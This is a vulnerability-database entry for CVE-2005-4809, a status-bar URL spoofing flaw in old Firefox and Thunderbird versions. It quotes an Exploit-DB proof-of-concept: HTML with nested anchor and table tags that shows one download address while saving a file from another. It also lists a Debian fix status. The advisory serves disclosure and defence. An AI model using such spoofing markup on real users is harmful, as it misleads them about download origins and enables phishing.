CVE-2005-4809
Description
Mozilla Firefox 1.0.1 and possibly other versions, including Mozilla and Thunderbird, allows remote attackers to spoof the URL in the Status Bar via an A HREF tag that contains a TABLE tag that contains another A tag.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Mozilla Suite/Firefox/Thunderbird - Nested Anchor Tag Status Bar Spoofing
source: https://www.securityfocus.com/bid/12798/info
Mozilla Suite/Firefox and Thunderbird are reported prone to a URI obfuscation weakness. The issue is reported to manifest when 'Save Link As...' functionality is invoked on an malicious anchor tag.
This issue may be leveraged by an attacker to display false information in the status bar of an unsuspecting user, allowing an attacker to present downloads to users that seem to originate from a trusted location. This may facilitate attacks based on this false sense of trust.
<h1>Firefox 1.01 : spoofing status bar without using JavaScript</h1>
<p>Save the New Features about Firefox 1.02 ( PDF 20K )</p>
<p>Right Click and Save Link as ...<p>
<div>
<a href="http://www.mozilla.org/features_ff102.pdf">
<table><tr><td>
<a href="http://www.tpc.org/tpch/spec/tpch2.1.0.pdf">download : http://www.mozilla.org/features_ff102.pdf
</a><!-- first -->
</td></tr></table>
</a><!-- second -->
</div> OS impact
Debian Fixed 1 release
| Version | Status | Fixed in |
|---|---|---|
| sid | Fixed | 0 |
References
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